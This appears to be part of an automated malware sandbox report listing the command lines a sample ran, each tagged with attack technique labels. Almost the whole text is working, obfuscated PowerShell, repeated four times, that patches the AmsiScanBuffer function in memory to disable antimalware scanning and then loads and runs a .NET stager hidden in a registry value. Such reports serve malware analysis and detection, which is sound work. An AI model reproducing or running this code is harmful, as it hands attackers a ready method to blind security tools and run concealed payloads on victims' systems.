C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:bBFmALAcKbLM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XQpYeQbPROysOQ,[Parameter(Position=1)][Type]$WNmBqMqzqf)$VtIXtTorfqB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+'el'+'e'+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+''+'e'+''+[Char](109)+''+'o'+''+'r'+''+'y'+''+[Char](77)+''+'o'+'du'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+'t'+'e'+[Char](84)+'yp'+[Char](101)+'',''+'C'+''+[Char](108)+'a'+[Char](115)+'s,'+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+'c'+','+[Char](83)+'e'+'a'+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+'An'+[Char](115)+'i'+'C'+''+[Char](108)+'as'+'s'+''+[Char](44)+''+[Char](65)+'ut'+[Char](111)+''+'C'+''+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$VtIXtTorfqB.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+'e'+'ci'+[Char](97)+'l'+[Char](78)+'a'+[Char](109)+''+[Char](101)+',H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$XQpYeQbPROysOQ).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+'M'+'a'+'n'+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$VtIXtTorfqB.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'','P'+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+'i'+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+',V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$WNmBqMqzqf,$XQpYeQbPROysOQ).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'ime,'+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $VtIXtTorfqB.CreateType();}$GYVPeyIDJWNkh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType('Mic'+[Char](114)+''+'o'+''+[Char](115)+''+'o'+''+'f'+'t'+[Char](46)+'W'+[Char](105)+''+'n'+''+'3'+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+'Native'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$rfZFwMSxbHbHgx=$GYVPeyIDJWNkh.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+'c'+'A'+''+[Char](100)+''+'d'+'res'+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CtEOUloObmlkBQGozqG=bBFmALAcKbLM @([String])([IntPtr]);$gFJSuYhrQRWuaUZWwVLOuO=bBFmALAcKbLM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$CEZPkLLhqMA=$GYVPeyIDJWNkh.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+'o'+'d'+[Char](117)+''+'l'+'e'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+'ne'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$UQGXJfxEmgNCdh=$rfZFwMSxbHbHgx.Invoke($Null,@([Object]$CEZPkLLhqMA,[Object](''+[Char](76)+'oa'+'d'+''+'L'+'ibra'+'r'+''+[Char](121)+''+[Char](65)+'')));$aczUkliICFioAxQkf=$rfZFwMSxbHbHgx.Invoke($Null,@([Object]$CEZPkLLhqMA,[Object](''+'V'+''+[Char](105)+'rtu'+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$VKBDNBK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UQGXJfxEmgNCdh,$CtEOUloObmlkBQGozqG).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$bOZtDIVXLkolfQccU=$rfZFwMSxbHbHgx.Invoke($Null,@([Object]$VKBDNBK,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+'c'+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$qqNgXQcjPj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aczUkliICFioAxQkf,$gFJSuYhrQRWuaUZWwVLOuO).Invoke($bOZtDIVXLkolfQccU,[uint32]8,4,[ref]$qqNgXQcjPj);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](242-105),[Byte](253-34),[Byte](247-63),[Byte](104-17),[Byte](205-205),[Byte](63-56),[Byte](48+80),[Byte](141-4),[Byte](204-12),[Byte](189+6),[Byte](189-52),[Byte](30+180)),0,$bOZtDIVXLkolfQccU,35-23);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aczUkliICFioAxQkf,$gFJSuYhrQRWuaUZWwVLOuO).Invoke($bOZtDIVXLkolfQccU,[uint32]8,0x20,[ref]$qqNgXQcjPj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+'W'+'A'+''+'R'+''+'E'+'').GetValue('NR'+[Char](115)+'tage'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:FayLCjaYUnDx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kRyRCHRibAZuKn,[Parameter(Position=1)][Type]$MUBYFKovkm)$vQdmJQywcbG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'e'+[Char](99)+''+'t'+'ed'+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+'led,'+'A'+'ns'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$vQdmJQywcbG.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+'g'+''+','+'P'+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kRyRCHRibAZuKn).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+[Char](105)+'m'+[Char](101)+''+','+''+'M'+''+'a'+'n'+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$vQdmJQywcbG.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+'P'+''+'u'+''+[Char](98)+'li'+[Char](99)+','+'H'+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+','+''+'N'+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$MUBYFKovkm,$kRyRCHRibAZuKn).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $vQdmJQywcbG.CreateType();}$gKJKQQnCqTeog=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+'t'+'i'+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$IQlMaGJxxgLKXQ=$gKJKQQnCqTeog.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+'c'+''+[Char](65)+''+'d'+'dr'+'e'+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'ti'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YHBOJDEzqhvltZTQwOb=FayLCjaYUnDx @([String])([IntPtr]);$tzKIzvLebzIrLgxjpHcZwW=FayLCjaYUnDx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FjOGUAlWKLF=$gKJKQQnCqTeog.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'nel'+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$SqkBhlwGStFAsE=$IQlMaGJxxgLKXQ.Invoke($Null,@([Object]$FjOGUAlWKLF,[Object](''+[Char](76)+'o'+[Char](97)+'d'+[Char](76)+'ib'+'r'+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$xDZFnDummnjyimwqg=$IQlMaGJxxgLKXQ.Invoke($Null,@([Object]$FjOGUAlWKLF,[Object](''+[Char](86)+'ir'+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+'te'+'c'+'t')));$ZuqmIcL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SqkBhlwGStFAsE,$YHBOJDEzqhvltZTQwOb).Invoke(''+[Char](97)+''+'m'+'s'+'i'+''+[Char](46)+''+'d'+'ll');$ZvacytOaRTRpaLwzX=$IQlMaGJxxgLKXQ.Invoke($Null,@([Object]$ZuqmIcL,[Object]('Amsi'+[Char](83)+''+[Char](99)+''+'a'+''+'n'+'B'+[Char](117)+'f'+'f'+''+'e'+''+'r'+'')));$IQRtpFfNNv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xDZFnDummnjyimwqg,$tzKIzvLebzIrLgxjpHcZwW).Invoke($ZvacytOaRTRpaLwzX,[uint32]8,4,[ref]$IQRtpFfNNv);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](114+17),[Byte](241-48),[Byte](59-59),[Byte](72+112),[Byte](116-29),[Byte](98-98),[Byte](138-131),[Byte](27+101),[Byte](182-45),[Byte](80+130),[Byte](3+192),[Byte](199-62),[Byte](233-41)),0,$ZvacytOaRTRpaLwzX,92-79);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xDZFnDummnjyimwqg,$tzKIzvLebzIrLgxjpHcZwW).Invoke($ZvacytOaRTRpaLwzX,[uint32]8,0x20,[ref]$IQRtpFfNNv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+'R'+'E').GetValue(''+[Char](78)+'Rs'+'t'+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:FayLCjaYUnDx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kRyRCHRibAZuKn,[Parameter(Position=1)][Type]$MUBYFKovkm)$vQdmJQywcbG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'e'+[Char](99)+''+'t'+'ed'+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+'led,'+'A'+'ns'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$vQdmJQywcbG.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+'g'+''+','+'P'+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kRyRCHRibAZuKn).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+[Char](105)+'m'+[Char](101)+''+','+''+'M'+''+'a'+'n'+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$vQdmJQywcbG.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+'P'+''+'u'+''+[Char](98)+'li'+[Char](99)+','+'H'+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+','+''+'N'+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$MUBYFKovkm,$kRyRCHRibAZuKn).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $vQdmJQywcbG.CreateType();}$gKJKQQnCqTeog=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+'t'+'i'+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$IQlMaGJxxgLKXQ=$gKJKQQnCqTeog.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+'c'+''+[Char](65)+''+'d'+'dr'+'e'+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'ti'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YHBOJDEzqhvltZTQwOb=FayLCjaYUnDx @([String])([IntPtr]);$tzKIzvLebzIrLgxjpHcZwW=FayLCjaYUnDx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FjOGUAlWKLF=$gKJKQQnCqTeog.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'nel'+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$SqkBhlwGStFAsE=$IQlMaGJxxgLKXQ.Invoke($Null,@([Object]$FjOGUAlWKLF,[Object](''+[Char](76)+'o'+[Char](97)+'d'+[Char](76)+'ib'+'r'+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$xDZFnDummnjyimwqg=$IQlMaGJxxgLKXQ.Invoke($Null,@([Object]$FjOGUAlWKLF,[Object](''+[Char](86)+'ir'+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+'te'+'c'+'t')));$ZuqmIcL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SqkBhlwGStFAsE,$YHBOJDEzqhvltZTQwOb).Invoke(''+[Char](97)+''+'m'+'s'+'i'+''+[Char](46)+''+'d'+'ll');$ZvacytOaRTRpaLwzX=$IQlMaGJxxgLKXQ.Invoke($Null,@([Object]$ZuqmIcL,[Object]('Amsi'+[Char](83)+''+[Char](99)+''+'a'+''+'n'+'B'+[Char](117)+'f'+'f'+''+'e'+''+'r'+'')));$IQRtpFfNNv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xDZFnDummnjyimwqg,$tzKIzvLebzIrLgxjpHcZwW).Invoke($ZvacytOaRTRpaLwzX,[uint32]8,4,[ref]$IQRtpFfNNv);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](114+17),[Byte](241-48),[Byte](59-59),[Byte](72+112),[Byte](116-29),[Byte](98-98),[Byte](138-131),[Byte](27+101),[Byte](182-45),[Byte](80+130),[Byte](3+192),[Byte](199-62),[Byte](233-41)),0,$ZvacytOaRTRpaLwzX,92-79);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xDZFnDummnjyimwqg,$tzKIzvLebzIrLgxjpHcZwW).Invoke($ZvacytOaRTRpaLwzX,[uint32]8,0x20,[ref]$IQRtpFfNNv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+'R'+'E').GetValue(''+[Char](78)+'Rs'+'t'+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:hXOSoICOAwqp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$eIDypBQLdnyLeZ,[Parameter(Position=1)][Type]$QOymiqIZqB)$VlcGlIvsaVR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+'ec'+[Char](116)+'ed'+'D'+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+'e'+'l'+'e'+''+[Char](103)+'at'+[Char](101)+''+'T'+'yp'+'e'+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+'P'+'u'+''+'b'+'l'+'i'+''+'c'+','+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+''+'d'+''+','+''+'A'+'n'+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$VlcGlIvsaVR.DefineConstructor('RTS'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+'m'+''+[Char](101)+''+','+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'lic',[Reflection.CallingConventions]::Standard,$eIDypBQLdnyLeZ).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Ma'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$VlcGlIvsaVR.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'B'+'y'+'Si'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+''+'l'+''+'o'+'t,'+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$QOymiqIZqB,$eIDypBQLdnyLeZ).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $VlcGlIvsaVR.CreateType();}$beWBNrmJxDtEv=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+''+'d'+'ll')}).GetType('M'+[Char](105)+'c'+'r'+''+[Char](111)+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+'.U'+'n'+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+'e'+'t'+'h'+''+'o'+'d'+[Char](115)+'');$zoNvcEewKekUbC=$beWBNrmJxDtEv.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VTTrQDTTPibpNevRTow=hXOSoICOAwqp @([String])([IntPtr]);$spKzkKUenCTPGuEuFTqueU=hXOSoICOAwqp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$KuubAIOvAdo=$beWBNrmJxDtEv.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+'M'+''+[Char](111)+'du'+[Char](108)+'e'+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+[Char](110)+'e'+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$CnGonXVCBbbWni=$zoNvcEewKekUbC.Invoke($Null,@([Object]$KuubAIOvAdo,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+'yA')));$DdUiwRSqWeZPaGdcN=$zoNvcEewKekUbC.Invoke($Null,@([Object]$KuubAIOvAdo,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+'o'+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$oofEUwP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CnGonXVCBbbWni,$VTTrQDTTPibpNevRTow).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+''+[Char](46)+'d'+'l'+''+[Char](108)+'');$oWpvFJDIoiExWaUMj=$zoNvcEewKekUbC.Invoke($Null,@([Object]$oofEUwP,[Object](''+'A'+''+'m'+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+'nB'+'u'+''+'f'+''+'f'+''+[Char](101)+'r')));$vxLiYtUqIp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DdUiwRSqWeZPaGdcN,$spKzkKUenCTPGuEuFTqueU).Invoke($oWpvFJDIoiExWaUMj,[uint32]8,4,[ref]$vxLiYtUqIp);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](124+7),[Byte](169+24),[Byte](68-68),[Byte](185-1),[Byte](244-157),[Byte](248-248),[Byte](86-79),[Byte](161-33),[Byte](53+78),[Byte](129+106),[Byte](39-39),[Byte](127+68),[Byte](69+68),[Byte](69+141)),0,$oWpvFJDIoiExWaUMj,86-72);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DdUiwRSqWeZPaGdcN,$spKzkKUenCTPGuEuFTqueU).Invoke($oWpvFJDIoiExWaUMj,[uint32]8,0x20,[ref]$vxLiYtUqIp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+'WA'+[Char](82)+'E').GetValue('N'+[Char](82)+''+'s'+'tage'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
